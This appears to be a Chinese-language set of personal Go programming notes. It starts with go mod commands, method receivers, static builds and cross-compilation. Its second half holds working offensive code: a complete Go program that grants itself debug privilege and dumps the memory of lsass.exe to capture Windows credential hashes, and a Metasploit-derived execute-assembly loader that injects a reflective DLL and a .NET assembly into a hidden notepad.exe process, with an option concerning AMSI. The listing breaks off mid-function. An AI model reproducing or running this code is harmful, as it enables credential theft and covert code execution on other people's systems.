go mod

  1. go mod init: 初始化modules
  2. go mod download: 下载依赖的module到本地cache
  3. go mod edit: 编辑go.mod文件,选项有-json、-require和-exclude,可以使用帮助go help mod edit
  4. go mod graph: 以文本模式打印模块需求图
  5. go mod tidy: 检查,删除错误或者不使用的modules,以及添加缺失的模块 下载位置: GOPATH/pkg/mod
  6. go mod vendor: 生成vendor目录,将依赖复制到vendor目录下面
  7. go mod verify: 验证依赖是否正确
  8. go mod why:解释为什么需要依赖
  9. go list -m:查看主模块的路径
  10. go list -m -f={{.Dir}}:查看主模块的根目录
  11. go list -m all:查看当前的依赖和版本信息

Go语言技巧

goland 调试

image-20211219091231327.png

image-20211219091415041.png

goto

image-20211219135933910.png

接收者

image-20211219140818713.png

  1. type user struct {
  2. name string,
  3. email string,
  4. }
  5. //这是函数的定义
  6. func notify(email string) {
  7. fmt.Println("Email is %s", email)
  8. }
  9. //这是方法的定义
  10. func (u user) notify(email string) {
  11. fmt.Println("Email is %d", email)
  12. }

接收者有两种,一种是值接收者,一种是指针接收者。顾名思义,值接收者,是接收者的类型是一个值,是一个副本,方法内部无法对其真正的接收者做更改;指针接收者,接收者的类型是一个指针,是接收者的引用,对这个引用的修改之间影响真正的接收者。像上面一样定义方法,将 user 改成 *user 就是指针接收者

golang静态编译

golang 的编译(不涉及 cgo 编译的前提下)默认使用了静态编译,不依赖任何动态链接库。

这样可以任意部署到各种运行环境,不用担心依赖库的版本问题。只是体积大一点而已,存储时占用了一点磁盘,运行时,多占用了一点内存。早期动态链接库的产生,是因为早期的系统的内存资源十分宝贵,由于内存紧张的问题在早期的系统中显得更加突出,因此人们首先想到的是要解决内存使用效率不高这一问题,于是便提出了动态装入的思想。也就产生了动态链接库。在现在的计算机里,操作系统的硬盘内存更大了,尤其是服务器,32G、64G 的内存都是最基本的。可以不用为了节省几百 KB 或者1M,几 M 的内存而大大费周折了。而 golang 就采用这种做法,可以避免各种 so 动态链接库依赖的问题,这点是非常值得称赞的。

显示指定静态编译方法

在Docker化的今天, 我们经常需要静态编译一个Go程序,以便方便放在Docker容器中。 即使你没有引用其它的第三方包,只是在程序中使用了标准库net,你也会发现你编译后的程序依赖glic,这时候你需要glibc-static库,并且静态连接。

不同的Go版本下静态编译方式还有点不同,在go 1.10下, 下面的方式会尽可能做到静态编译:

  1. CGO_ENABLED=0 go build -a -ldflags '-extldflags "-static"' .

效率会提高

解决go参数问题

image-20211230183035869.png

Go交叉编译

1. Windows下

编译为Linux可运行文件

SET CGO_ENABLED=0 SET GOOS=linux SET GOARCH=amd64 go build main.go

编译为MAC可运行文件

SET CGO_ENABLED=0 SET GOOS=darwin SET GOARCH=amd64 go build main.go

编译为Window可运行文件

SET GOOS=windows go build main.go

image-20220103125406647.png

2. MAC下

编译为Windows可执行文件

CGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build main.go

编译为Linux可执行文件

CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

3. Linux下

编译为Windows可执行文件

CGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build main.go

编译为MAC可执行文件

CGO_ENABLED=0 GOOS=darwin GOARCH=amd64 go build main.go

gox

安装

  1. go get github.com/mitchellh/gox

使用

  1. 1.编译window 64位:
  2. gox -osarch="windows/amd64" ./
  3. 2.编译mac 64位:
  4. gox -osarch = "darwin/amd64" ./
  5. 3.编译Linux 64位:
  6. gox -osarch="linux/amd64" ./
  7. 在当前目录生成二进制文件
  8. #如果我们想生成linux和windows上的程序,只要通过一下命令:
  9. $gox -os "windows linux" -arch amd64
  10. #目录下你就能看到生成出来的两个程序
  11. hello_linux_amd64
  12. hello_windows_amd64.exe
  13. #如果不加参数-arch ...,将编译所有类型
  14. tgox_linux_386
  15. tgox_linux_amd64
  16. tgox_linux_arm
  17. gox_linux_arm64
  18. tgox_linux_mips
  19. tgox_linux_mips64
  20. tgox_linux_mips64le
  21. tgox_linux_mipsle
  22. tgox_linux_ppc64
  23. tgox_linux_ppc64le
  24. tgox_linux_s390x

image-20220103090003411.pngimage-20220103091304639.png

Go dump和内存加载Csharp

dump hash

  1. package main
  2. import (
  3. "flag"
  4. "fmt"
  5. "github.com/mitchellh/go-ps"
  6. "log"
  7. "os"
  8. "strconv"
  9. "syscall"
  10. "unsafe"
  11. )
  12. const targetProcess string = "lsass.exe"
  13. func elevateProcessToken() error {
  14. type Luid struct {
  15. lowPart uint32
  16. highPart int32
  17. }
  18. type LuidAndAttributes struct {
  19. luid Luid
  20. attributes uint32
  21. }
  22. type TokenPrivileges struct {
  23. privilegeCount uint32
  24. privileges [1]LuidAndAttributes
  25. }
  26. const SeDebugPrivilege = "SeDebugPrivilege"
  27. const tokenAdjustPrivileges = 0x0020
  28. const tokenQuery = 0x0008
  29. var hToken uintptr
  30. user32 := syscall.MustLoadDLL("user32")
  31. defer user32.Release()
  32. kernel32 := syscall.MustLoadDLL("kernel32")
  33. defer user32.Release()
  34. advapi32 := syscall.MustLoadDLL("advapi32")
  35. defer advapi32.Release()
  36. GetCurrentProcess := kernel32.MustFindProc("GetCurrentProcess")
  37. GetLastError := kernel32.MustFindProc("GetLastError")
  38. OpenProdcessToken := advapi32.MustFindProc("OpenProcessToken")
  39. LookupPrivilegeValue := advapi32.MustFindProc("LookupPrivilegeValueW")
  40. AdjustTokenPrivileges := advapi32.MustFindProc("AdjustTokenPrivileges")
  41. currentProcess, _, _ := GetCurrentProcess.Call()
  42. result, _, err := OpenProdcessToken.Call(currentProcess, tokenAdjustPrivileges|tokenQuery, uintptr(unsafe.Pointer(&hToken)))
  43. if result != 1 {
  44. fmt.Println("OpenProcessToken(): ", result, " err: ", err)
  45. return err
  46. }
  47. var tkp TokenPrivileges
  48. result, _, err = LookupPrivilegeValue.Call(uintptr(0), uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(SeDebugPrivilege))), uintptr(unsafe.Pointer(&(tkp.privileges[0].luid))))
  49. if result != 1 {
  50. fmt.Println("LookupPrivilegeValue(): ", result, " err: ", err)
  51. return err
  52. }
  53. const SePrivilegeEnabled uint32 = 0x00000002
  54. tkp.privilegeCount = 1
  55. tkp.privileges[0].attributes = SePrivilegeEnabled
  56. result, _, err = AdjustTokenPrivileges.Call(hToken, 0, uintptr(unsafe.Pointer(&tkp)), 0, uintptr(0), 0)
  57. if result != 1 {
  58. fmt.Println("AdjustTokenPrivileges() ", result, " err: ", err)
  59. return err
  60. }
  61. result, _, _ = GetLastError.Call()
  62. if result != 0 {
  63. fmt.Println("GetLastError() ", result)
  64. return err
  65. }
  66. return nil
  67. }
  68. func processDump(pid int) {
  69. //set up Win32 APIs
  70. var dbghelp = syscall.NewLazyDLL("Dbghelp.dll")
  71. var procMiniDumpWriteDump = dbghelp.NewProc("MiniDumpWriteDump")
  72. var kernel32 = syscall.NewLazyDLL("kernel32.dll")
  73. var procOpenProcess = kernel32.NewProc("OpenProcess")
  74. var procCreateFileW = kernel32.NewProc("CreateFileW")
  75. process, err := os.FindProcess(pid)
  76. if err == nil {
  77. fmt.Printf("进程 %d 找到 \n", process.Pid)
  78. } else {
  79. fmt.Printf("进程 %d not 没有找到 \n", pid)
  80. os.Exit(1)
  81. }
  82. processHandle, _, err := procOpenProcess.Call(uintptr(0xFFFF), uintptr(1), uintptr(pid))
  83. if processHandle != 0 {
  84. fmt.Println("返回进程的句柄成功")
  85. } else {
  86. fmt.Println("返回进程的句柄失败")
  87. fmt.Println(err)
  88. os.Exit(1)
  89. }
  90. currentDirectory, _ := os.Getwd()
  91. filePath := currentDirectory + "\\" + strconv.Itoa(pid) + ".dmp"
  92. os.Create(filePath)
  93. path, _ := syscall.UTF16PtrFromString(filePath)
  94. fileHandle, _, err := procCreateFileW.Call(uintptr(unsafe.Pointer(path)), syscall.GENERIC_WRITE, syscall.FILE_SHARE_READ|syscall.FILE_SHARE_WRITE, 0, syscall.OPEN_EXISTING, syscall.FILE_ATTRIBUTE_NORMAL, 0)
  95. ret, _, err := procMiniDumpWriteDump.Call(uintptr(processHandle), uintptr(pid), uintptr(fileHandle), 0x00061907, 0, 0, 0)
  96. if ret != 0 {
  97. fmt.Println("成功dump", filePath)
  98. } else {
  99. fmt.Println("失败dump")
  100. fmt.Println(err)
  101. os.Remove(filePath)
  102. }
  103. }
  104. func main() {
  105. var pid int = 0
  106. lsassPtr := flag.Bool("l", false, "选择LSASS")
  107. processPtr := flag.Int("p", 0, "选择PID")
  108. flag.Parse()
  109. if *lsassPtr {
  110. pid = getLsassPid()
  111. } else if *processPtr != 0 {
  112. pid = *processPtr
  113. } else {
  114. fmt.Println("请选择LSASS或者PID")
  115. os.Exit(1)
  116. }
  117. if pid == 0 {
  118. fmt.Println("无效进程")
  119. os.Exit(1)
  120. }
  121. err := elevateProcessToken()
  122. if err != nil {
  123. fmt.Println(err)
  124. os.Exit(1)
  125. }
  126. processDump(pid)
  127. }
  128. func getLsassPid() int {
  129. var pid int
  130. processList, err := ps.Processes()
  131. if err != nil {
  132. log.Println("ps.Processes() Failed")
  133. return 0
  134. }
  135. for x := range processList {
  136. var process ps.Process
  137. process = processList[x]
  138. if process.Executable() == targetProcess {
  139. pid = process.Pid()
  140. }
  141. }
  142. return pid
  143. }

内存加载Csharp

https://github.com/b4rtik/metasploit-execute-assembly/tree/master/HostingCLR_inject

  1. package main
  2. import (
  3. "log"
  4. "os"
  5. "assembly"
  6. )
  7. func main() {
  8. assemblyArgs := os.Args[0]
  9. assemblyBytes := []byte{
  10. ...
  11. }
  12. hostingDLL := []byte{
  13. ...
  14. }
  15. err := assembly.ExecuteAssembly(hostingDLL, assemblyBytes, assemblyArgs, true)
  16. if err != nil {
  17. log.Fatal(err)
  18. }
  19. }
  1. package assembly
  2. type (
  3. DWORD uint32
  4. )
  5. const (
  6. IMAGE_NUMBEROF_DIRECTORY_ENTRIES = 16
  7. IMAGE_FILE_MACHINE_I386 = 0x014c
  8. IMAGE_FILE_MACHINE_AMD64 = 0x8664
  9. DLL_PROCESS_ATTACH = 1
  10. DLL_THREAD_ATTACH = 2
  11. DLL_THREAD_DETACH = 3
  12. DLL_PROCESS_DETACH = 0
  13. IMAGE_DIRECTORY_ENTRY_EXPORT = 0 // Export Directory
  14. IMAGE_DIRECTORY_ENTRY_IMPORT = 1 // Import Directory
  15. IMAGE_DIRECTORY_ENTRY_RESOURCE = 2 // Resource Directory
  16. IMAGE_DIRECTORY_ENTRY_EXCEPTION = 3 // Exception Directory
  17. IMAGE_DIRECTORY_ENTRY_SECURITY = 4 // Security Directory
  18. IMAGE_DIRECTORY_ENTRY_BASERELOC = 5 // Base Relocation Table
  19. IMAGE_DIRECTORY_ENTRY_DEBUG = 6 // Debug Directory
  20. IMAGE_DIRECTORY_ENTRY_ARCHITECTURE = 7 // Architecture Specific Data
  21. IMAGE_DIRECTORY_ENTRY_GLOBALPTR = 8 // RVA of GP
  22. IMAGE_DIRECTORY_ENTRY_TLS = 9 // TLS Directory
  23. IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG = 10 // Load Configuration Directory
  24. IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT = 11 // Bound Import Directory in headers
  25. IMAGE_DIRECTORY_ENTRY_IAT = 12 // Import Address Table
  26. IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT = 13 // Delay Load Import Descriptors
  27. IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR = 14 // COM Runtime descriptor
  28. IMAGE_REL_BASED_HIGHLOW = 3
  29. IMAGE_REL_BASED_DIR64 = 10
  30. IMAGE_ORDINAL_FLAG64 = 0x8000000000000000
  31. IMAGE_ORDINAL_FLAG32 = 0x80000000
  32. )
  33. type ULONGLONG uint64
  34. type LONG uint32
  35. type WORD uint16
  36. type BOOL uint8
  37. type BYTE uint8
  38. type IMAGE_BASE_RELOCATION struct {
  39. VirtualAddress DWORD
  40. SizeOfBlock DWORD
  41. // WORD TypeOffset[1];
  42. }
  43. type IMAGE_IMPORT_BY_NAME struct {
  44. Hint WORD
  45. Name [1]uint8
  46. }
  47. type IMAGE_IMPORT_DESCRIPTOR struct {
  48. /*
  49. union {
  50. DWORD Characteristics; // 0 for terminating null import descriptor
  51. DWORD OriginalFirstThunk; // RVA to original unbound IAT (PIMAGE_THUNK_DATA)
  52. } DUMMYUNIONNAME;
  53. DWORD TimeDateStamp; // 0 if not bound,
  54. // -1 if bound, and real date\time stamp
  55. // in IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (new BIND)
  56. // O.W. date/time stamp of DLL bound to (Old BIND)
  57. DWORD ForwarderChain; // -1 if no forwarders
  58. DWORD Name;
  59. DWORD FirstThunk; // RVA to IAT (if bound this IAT has actual addresses)
  60. */
  61. OriginalFirstThunk DWORD
  62. TimeDateStamp DWORD
  63. ForwarderChain DWORD
  64. Name DWORD
  65. FirstThunk DWORD
  66. }
  67. type _IMAGE_NT_HEADERS64 struct {
  68. Signature DWORD
  69. FileHeader IMAGE_FILE_HEADER
  70. OptionalHeader IMAGE_OPTIONAL_HEADER
  71. }
  72. type IMAGE_NT_HEADERS64 _IMAGE_NT_HEADERS64
  73. type IMAGE_NT_HEADERS IMAGE_NT_HEADERS64
  74. type _IMAGE_DATA_DIRECTORY struct {
  75. VirtualAddress DWORD
  76. Size DWORD
  77. }
  78. type IMAGE_DATA_DIRECTORY _IMAGE_DATA_DIRECTORY
  79. type _IMAGE_OPTIONAL_HEADER64 struct {
  80. Magic WORD
  81. MajorLinkerVersion BYTE
  82. MinorLinkerVersion BYTE
  83. SizeOfCode DWORD
  84. SizeOfInitializedData DWORD
  85. SizeOfUninitializedData DWORD
  86. AddressOfEntryPoint DWORD
  87. BaseOfCode DWORD
  88. ImageBase ULONGLONG
  89. SectionAlignment DWORD
  90. FileAlignment DWORD
  91. MajorOperatingSystemVersion WORD
  92. MinorOperatingSystemVersion WORD
  93. MajorImageVersion WORD
  94. MinorImageVersion WORD
  95. MajorSubsystemVersion WORD
  96. MinorSubsystemVersion WORD
  97. Win32VersionValue DWORD
  98. SizeOfImage DWORD
  99. SizeOfHeaders DWORD
  100. CheckSum DWORD
  101. Subsystem WORD
  102. DllCharacteristics WORD
  103. SizeOfStackReserve ULONGLONG
  104. SizeOfStackCommit ULONGLONG
  105. SizeOfHeapReserve ULONGLONG
  106. SizeOfHeapCommit ULONGLONG
  107. LoaderFlags DWORD
  108. NumberOfRvaAndSizes DWORD
  109. DataDirectory [IMAGE_NUMBEROF_DIRECTORY_ENTRIES]IMAGE_DATA_DIRECTORY
  110. }
  111. type IMAGE_OPTIONAL_HEADER64 _IMAGE_OPTIONAL_HEADER64
  112. type IMAGE_OPTIONAL_HEADER IMAGE_OPTIONAL_HEADER64
  113. type _IMAGE_FILE_HEADER struct {
  114. Machine WORD
  115. NumberOfSections WORD
  116. TimeDateStamp DWORD
  117. PointerToSymbolTable DWORD
  118. NumberOfSymbols DWORD
  119. SizeOfOptionalHeader WORD
  120. Characteristics WORD
  121. }
  122. type IMAGE_FILE_HEADER _IMAGE_FILE_HEADER
  123. type _IMAGE_DOS_HEADER struct { // DOS .EXE header
  124. E_magic WORD // Magic number
  125. E_cblp WORD // Bytes on last page of file
  126. E_cp WORD // Pages in file
  127. E_crlc WORD // Relocations
  128. E_cparhdr WORD // Size of header in paragraphs
  129. E_minalloc WORD // Minimum extra paragraphs needed
  130. E_maxalloc WORD // Maximum extra paragraphs needed
  131. E_ss WORD // Initial (relative) SS value
  132. E_sp WORD // Initial SP value
  133. E_csum WORD // Checksum
  134. E_ip WORD // Initial IP value
  135. E_cs WORD // Initial (relative) CS value
  136. E_lfarlc WORD // File address of relocation table
  137. E_ovno WORD // Overlay number
  138. E_res [4]WORD // Reserved words
  139. E_oemid WORD // OEM identifier (for E_oeminfo)
  140. E_oeminfo WORD // OEM information; E_oemid specific
  141. E_res2 [10]WORD // Reserved words
  142. E_lfanew LONG // File address of new exe header
  143. }
  144. type IMAGE_DOS_HEADER _IMAGE_DOS_HEADER
  145. const (
  146. IMAGE_SIZEOF_SHORT_NAME = 8
  147. )
  148. type _IMAGE_SECTION_HEADER struct {
  149. Name [IMAGE_SIZEOF_SHORT_NAME]BYTE
  150. //union {
  151. //DWORD PhysicalAddress;
  152. //DWORD VirtualSize;
  153. //} Misc;
  154. Misc DWORD
  155. VirtualAddress DWORD
  156. SizeOfRawData DWORD
  157. PointerToRawData DWORD
  158. PointerToRelocations DWORD
  159. PointerToLinenumbers DWORD
  160. NumberOfRelocations WORD
  161. NumberOfLinenumbers WORD
  162. Characteristics DWORD
  163. }
  164. type IMAGE_SECTION_HEADER _IMAGE_SECTION_HEADER
  165. type IMAGE_EXPORT_DIRECTORY struct {
  166. Characteristics DWORD
  167. TimeDateStamp DWORD
  168. MajorVersionv WORD
  169. MinorVersion WORD
  170. Name DWORD
  171. Base DWORD
  172. NumberOfFunctions DWORD
  173. NumberOfNames DWORD
  174. AddressOfFunctions DWORD // RVA from base of image
  175. AddressOfNames DWORD // RVA from base of image
  176. AddressOfNameOrdinals DWORD // RVA from base of image
  177. }
  1. //go:build windows
  2. // +build windows
  3. package assembly
  4. import (
  5. "bytes"
  6. "encoding/binary"
  7. "errors"
  8. "fmt"
  9. "log"
  10. "os"
  11. "os/exec"
  12. "runtime"
  13. "strings"
  14. "syscall"
  15. "time"
  16. "unsafe"
  17. )
  18. const (
  19. PROCESS_ALL_ACCESS = syscall.STANDARD_RIGHTS_REQUIRED | syscall.SYNCHRONIZE | 0xfff
  20. MEM_COMMIT = 0x001000
  21. MEM_RESERVE = 0x002000
  22. STILL_RUNNING = 259
  23. EXPORTED_FUNCTION_NAME = "ReflectiveLoader"
  24. )
  25. var (
  26. kernel32 = syscall.MustLoadDLL("kernel32.dll")
  27. procVirtualAllocEx = kernel32.MustFindProc("VirtualAllocEx")
  28. procWriteProcessMemory = kernel32.MustFindProc("WriteProcessMemory")
  29. procCreateRemoteThread = kernel32.MustFindProc("CreateRemoteThread")
  30. procGetExitCodeThread = kernel32.MustFindProc("GetExitCodeThread")
  31. )
  32. func virtualAllocEx(process syscall.Handle, addr uintptr, size, allocType, protect uint32) (uintptr, error) {
  33. r1, _, e1 := procVirtualAllocEx.Call(
  34. uintptr(process),
  35. addr,
  36. uintptr(size),
  37. uintptr(allocType),
  38. uintptr(protect))
  39. if int(r1) == 0 {
  40. return r1, os.NewSyscallError("VirtualAllocEx", e1)
  41. }
  42. return r1, nil
  43. }
  44. func writeProcessMemory(process syscall.Handle, addr uintptr, buf unsafe.Pointer, size uint32) (uint32, error) {
  45. var nLength uint32
  46. r1, _, e1 := procWriteProcessMemory.Call(
  47. uintptr(process),
  48. addr,
  49. uintptr(buf),
  50. uintptr(size),
  51. uintptr(unsafe.Pointer(&nLength)))
  52. if int(r1) == 0 {
  53. return nLength, os.NewSyscallError("WriteProcessMemory", e1)
  54. }
  55. return nLength, nil
  56. }
  57. func createRemoteThread(process syscall.Handle, sa *syscall.SecurityAttributes, stackSize uint32, startAddress, parameter uintptr, creationFlags uint32) (syscall.Handle, uint32, error) {
  58. var threadID uint32
  59. r1, _, e1 := procCreateRemoteThread.Call(
  60. uintptr(process),
  61. uintptr(unsafe.Pointer(sa)),
  62. uintptr(stackSize),
  63. startAddress,
  64. parameter,
  65. uintptr(creationFlags),
  66. uintptr(unsafe.Pointer(&threadID)))
  67. runtime.KeepAlive(sa)
  68. if int(r1) == 0 {
  69. return syscall.InvalidHandle, 0, os.NewSyscallError("CreateRemoteThread", e1)
  70. }
  71. return syscall.Handle(r1), threadID, nil
  72. }
  73. func getExitCodeThread(threadHandle syscall.Handle) (uint32, error) {
  74. var exitCode uint32
  75. r1, _, e1 := procGetExitCodeThread.Call(
  76. uintptr(threadHandle),
  77. uintptr(unsafe.Pointer(&exitCode)))
  78. if r1 == 0 {
  79. return exitCode, e1
  80. }
  81. return exitCode, nil
  82. }
  83. // ExecuteAssembly loads a .NET CLR hosting DLL inside a notepad.exe process
  84. // along with a provided .NET assembly to execute.
  85. func ExecuteAssembly(hostingDll []byte, assembly []byte, params string, amsi bool) error {
  86. AssemblySizeArr := convertIntToByteArr(len(assembly))
  87. ParamsSizeArr := convertIntToByteArr(len(params) + 1) // +1 accounts for the trailing null
  88. cmd := exec.Command("notepad.exe")
  89. cmd.SysProcAttr = &syscall.SysProcAttr{
  90. HideWindow: true,
  91. }
  92. var stdoutBuf, stderrBuf bytes.Buffer
  93. cmd.Stdout = &stdoutBuf
  94. cmd.Stderr = &stderrBuf
  95. cmd.Start()
  96. pid := cmd.Process.Pid
  97. // OpenProcess with PROC_ACCESS_ALL
  98. handle, err := syscall.OpenProcess(PROCESS_ALL_ACCESS, true, uint32(pid))
  99. if err != nil {
  100. return err
  101. }
  102. // VirtualAllocEx to allocate a new memory segment into the target process
  103. hostingDllAddr, err := virtualAllocEx(handle, 0, uint32(len(hostingDll)), MEM_COMMIT|MEM_RESERVE, syscall.PAGE_EXECUTE_READWRITE)
  104. if err != nil {
  105. return err
  106. }
  107. // WriteProcessMemory to write the reflective loader into the process
  108. _, err = writeProcessMemory(handle, hostingDllAddr, unsafe.Pointer(&hostingDll[0]), uint32(len(hostingDll)))
  109. if err != nil {
  110. return err
  111. }
  112. log.Printf("[*] Hosting DLL reflectively injected at 0x%08x\n", hostingDllAddr)
  113. // VirtualAllocEx to allocate another memory segment for hosting the .NET assembly and args
  114. assemblyAddr, err := virtualAllocEx(handle, 0, uint32(len(assembly)), MEM_COMMIT|MEM_RESERVE, syscall.PAGE_READWRITE)
  115. if err != nil {
  116. return err
  117. }
  118. // 4 bytes Assembly Size
  119. // 4 bytes Params Size
  120. // 1 byte AMSI bool 0x00 no 0x01 yes
  121. // parameter bytes
  122. // assembly bytes
  123. payload := append(AssemblySizeArr, ParamsSizeArr...)
  124. if amsi {
  125. payload = append(payload, byte(1))
  126. } else {
  127. payload = append(payload, byte(0))
  128. }
  129. payload = append(payload, []byte(params)...)
  130. payload = append(payload, '\x00')
  131. payload = append(payload, assembly...)
  132. // WriteProcessMemory to write the .NET assembly + args
  133. _, err = writeProcessMemory(handle, assemblyAddr, unsafe.Pointer(&payload[0]), uint32(len(payload)))
  134. if err != nil {
  135. return err
  136. }
  137. log.Printf("[*] Wrote %d bytes at 0x%08x\n", len(payload), assemblyAddr)
  138. // CreateRemoteThread(DLL addr + offset, assembly addr)
  139. attr := new(syscall.SecurityAttributes)
  140. functionOffset, err := findRawFileOffset(hostingDll, EXPORTED_FUNCTION_NAME)
  141. threadHandle, _, err := createRemoteThread(handle, attr, 0, uintptr(hostingDllAddr+uintptr(functionOffset)), uintptr(assemblyAddr), 0)
  142. if err != nil {
  143. return err
  144. }
  145. log.Println("Got thread handle:", threadHandle)
  146. for {
  147. code, err := getExitCodeThread(threadHandle)
  148. if err != nil && !strings.Contains(err.Error(), "operation completed successfully") {
  149. log.Fatalln(err.Error())
  150. }
  151. if code == STILL_RUNNING {
  152. time.Sleep(1000 * time.Millisecond)
  153. } else {
  154. break
  155. }
  156. }
  157. //cmd.Process.Kill()
  158. outStr, errStr := stdoutBuf.String(), stderrBuf.String()
  159. fmt.Printf("\nout:\n%s\nerr:\n%s\n", outStr, errStr)
  160. return nil
  161. }
  162. func convertIntToByteArr(num int) (arr []byte) {
  163. // This does the same thing as the union used in the DLL to convert intValue to byte array and back
  164. arr = append(arr, byte(num%256))
  165. v := num / 256
  166. arr = append(arr, byte(v%256))
  167. v = v / 256
  168. arr = append(arr, byte(v%256))
  169. v = v / 256
  170. arr = append(arr, byte(v))
  171. return
  172. }
  173. func findRawFileOffset(pSourceBytes []byte, exportedFunctionName string) (rawOffset DWORD, err error) {
  174. var pImageHeader IMAGE_DOS_HEADER
  175. var pOldNtHeader IMAGE_NT_HEADERS
  176. var pOldOptHeader IMAGE_OPTIONAL_HEADER
  177. var pOldFileHeader IMAGE_FILE_HEADER
  178. // we will re read portions of the byte array into data structs
  179. // Set back to start
  180. rdrBytes := bytes.NewReader(pSourceBytes)
  181. err = binary.Read(rdrBytes, binary.LittleEndian, &pImageHeader)
  182. if err != nil {
  183. log.Printf("Failure Reading dll in binary mode, for pImageHeader : %s\n", err)
  184. }
  185. // Check the Magic Byte
  186. if pImageHeader.E_magic != 0x5A4D {
  187. err = errors.New("Invalid File Format")
  188. return
  189. }
  190. // Just Read the NTHeader from the DLL and cast it pOldNtHeader
  191. ntHeaderOffset := pImageHeader.E_lfanew
  192. const sizeOfNTHeader = unsafe.Sizeof(pOldNtHeader)
  193. // Set the position at the ntHeaderOffset
  194. rdrBytes = bytes.NewReader(pSourceBytes[ntHeaderOffset:])
  195. err = binary.Read(rdrBytes, binary.LittleEndian, &pOldNtHeader)
  196. if err != nil {
  197. log.Printf("Failure Reading dll in binary mode, for pOldNtHeader : %s\n", err)
  198. return
  199. }
  200. // populate the Optional Header
  201. pOldOptHeader = pOldNtHeader.OptionalHeader
  202. pOldFileHeader = pOldNtHeader.FileHeader
  203. // Where is the export table?
  204. var exportTableAddress DWORD
  205. exportTableAddress = pOldOptHeader.DataDirectory[0].VirtualAddress
  206. var sectionHeaderOffset uint16
  207. sectionHeaderOffset = IMAGE_FIRST_SECTION(pImageHeader.E_lfanew, pOldNtHeader)
  208. var sectionHeader IMAGE_SECTION_HEADER
  209. const sectionHeaderSize = unsafe.Sizeof(sectionHeader)
  210. var i WORD
  211. // look for the exports
  212. section := 0
  213. var sectionName [8]BYTE
  214. var pointerToCodeRawData DWORD
  215. var virtualOffsetForCode DWORD
  216. for i = 0; i != pOldFileHeader.NumberOfSections; i++ {
  217. rdrBytes = bytes.NewReader(pSourceBytes[sectionHeaderOffset:])
  218. err = binary.Read(rdrBytes, binary.LittleEndian, &sectionHeader)
  219. if err != nil {
  220. log.Printf("Failure Reading dll in binary mode, for sectionHeader : %s", err.Error())
  221. return
  222. }
  223. // We need to find the .text section to capture the code offset and virtual address
  224. var secName []byte
  225. for _, b := range sectionHeader.Name {
  226. if b == 0 {
  227. break
  228. }
  229. secName = append(secName, byte(b))
  230. }
  231. if bytes.Contains(secName, []byte(".text")) {
  232. virtualOffsetForCode = sectionHeader.VirtualAddress
  233. virtualOffsetForCode = sectionHeader.VirtualAddress
  234. pointerToCodeRawData = sectionHeader.PointerToRawData
  235. // This is for finding the DLLMain
  236. }
  237. // For Export table
  238. if sectionHeader.VirtualAddress > exportTableAddress {
  239. break
  240. }
  241. sectionName = sectionHeader.Name
  242. section++
  243. sectionHeaderOffset = sectionHeaderOffset + uint16(sectionHeaderSize)
  244. }
  245. sectionHeaderOffset = IMAGE_FIRST_SECTION(pImageHeader.E_lfanew, pOldNtHeader)
  246. // process each section
  247. for i = 0; i != pOldFileHeader.NumberOfSections; i++ {
  248. // Read in the bytes to make up the sectionHeader
  249. // Set the position at the ntHeaderOffset
  250. rdrBytes = bytes.NewReader(pSourceBytes[sectionHeaderOffset:])
  251. err = binary.Read(rdrBytes, binary.LittleEndian, &sectionHeader)
  252. if err != nil {
  253. log.Printf("Failure Reading dll in binary mode, for sectionHeader : %s\n", err)
  254. return
  255. }
  256. if sectionHeader.SizeOfRawData > 0 {
  257. source := make([]byte, sectionHeader.SizeOfRawData)
  258. // Set the position at the ntHeaderOffset
  259. rdrBytes = bytes.NewReader(pSourceBytes[sectionHeader.PointerToRawData:])
  260. err = binary.Read(rdrBytes, binary.LittleEndian, &source)
  261. if err != nil {
  262. log.Printf("Failure Reading dll in binary mode, for source : %s\n", err)
  263. return
  264. }
  265. if sectionHeader.Name == sectionName {
  266. // Let's get the Data Dictionary for the Export table
  267. addrOffset := exportTableAddress - sectionHeader.VirtualAddress
  268. var exportDirectory IMAGE_EXPORT_DIRECTORY
  269. length := unsafe.Sizeof(exportDirectory)
  270. offset := sectionHeader.PointerToRawData + DWORD(addrOffset)
  271. rdrBytes = bytes.NewReader(pSourceBytes[offset : offset+DWORD(length)])
  272. err = binary.Read(rdrBytes, binary.LittleEndian, &exportDirectory)
  273. if err != nil {
  274. log.Printf("Failure Reading dll in binary mode, for fragment : %s\n", err)
  275. return
  276. }
  277. //Let's process the names in order to identify the exported function that we are looking for
  278. addr := sectionHeader.PointerToRawData + exportDirectory.AddressOfNames - sectionHeader.VirtualAddress
  279. addrBytes, e := getAddress(pSourceBytes, DWORD(addr), 4)
  280. if e != nil {
  281. err = e
  282. log.Printf("Failure Reading dll in binary mode, for AddressOfNames : %s\n", err)
  283. return
  284. }
  285. expOffset := 0
  286. for i := len(addrBytes) - 1; i >= 0; i-- {
  287. expOffset *= 256
  288. expOffset += int(addrBytes[i])
  289. }
  290. // Now let's read the value at the the identified address
  291. // To do so we need to find the raw offset in the source bytes
  292. addr = sectionHeader.PointerToRawData + DWORD(expOffset) - sectionHeader.VirtualAddress
  293. nameLength := len(exportedFunctionName) + 1
  294. addrBytes, err = getAddress(pSourceBytes, addr, uint32(nameLength))
  295. if err != nil {
  296. log.Printf("Failure Reading dll in binary mode, for AddressOfNames : %s\n", err.Error())
  297. return
  298. }
  299. var name []byte
  300. for _, b := range addrBytes {
  301. if b == 0 {
  302. break
  303. }
  304. name = append(name, b)
  305. }
  306. if bytes.Contains(name, []byte("?"+exportedFunctionName)) {
  307. //fmt.Println(" **** FOUND ****")
  308. // let's get the address for this function
  309. addr = sectionHeader.PointerToRawData + exportDirectory.AddressOfFunctions - sectionHeader.VirtualAddress
  310. addrBytes, err = getAddress(pSourceBytes, addr, 4)
  311. if err != nil {
  312. log.Printf("Failure Reading dll in binary mode, for AddressOfFunctions : %s\n", err.Error())
  313. return
  314. }
  315. //fmt.Printf("\nexportDirectory.AddressOfFunctions @ %x %x %x\n", exportDirectory.AddressOfFunctions, addrBytes, addrBytes)
  316. expOffset = 0
  317. for i := len(addrBytes) - 1; i >= 0; i-- {
  318. expOffset *= 256
